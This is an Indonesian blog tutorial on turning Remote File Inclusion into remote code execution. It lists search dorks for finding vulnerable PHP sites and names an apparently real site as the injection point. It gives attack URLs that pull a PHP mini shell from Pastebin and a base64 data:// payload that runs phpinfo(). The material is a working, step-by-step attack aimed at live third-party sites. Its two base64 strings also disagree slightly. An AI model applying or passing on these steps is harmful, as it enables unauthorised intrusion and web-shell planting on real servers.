Cara Memanfaatkan Bug RFI Remote File Inclusion

Yogi Rezaldi

RFI 
(Remote File Inclusion) Ke RCE (Remote Code Execution) Tutorial by  ~ Bloos3rpent | PNCRTG

Dork:

- inurl: /index.php? file =
 - inurl: /index.php? url =
- inurl: /index.php? page =

Kerentanan : RFI (Remote File Inclusion)
Deskripsi : Memungkinkan pengguna memasukkan URL untuk kode php dimasukkan dalam include() function

Fungsi yang Diblokir WAF :

system()
passthru()
shell_exec()
exec()

Titik Injeksi : https://www.otc-jbg.com/index.php?page=
Bagaimana cara menguji apakah Rentan?
https://site.com/index.php?page= https://google.com
Ini memungkinkan penyertaan file dari URL yang disediakan pengguna

Cara Mengeksploitasi

# Sertakan URL dari Pastebin atau Github yang Mengandung Kode PHP Berbahaya

https://www.otc-jbg.com/index.php?page=https://pastebin.com/raw/S6b25j4c

Hasil: Mini Shell Dieksekusi


# Menggunakan data wrapper
Format wrapper Data:


Mari kita sertakan

<? php phpinfo(); ?>

Encode Base64 = 

PD9waHAgcGhwaW5mbygpO6A/Pg==

data://text/plain;base64,PD8gcGhwaW5mbygpOyA/Pg==
https://www.otc-jbg.com/index.php?page=data://text/plain;base64,PD8gcGhwaW5mbygpOyA/Pg==

Hasil: phpinfo() dijalankan


Source : https://blooserpent.medium.com/

Getting Info...

Posting Komentar

Berkomentarlah Dengan Sopan Paman :)
Anda sopan Kami segan :)
Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.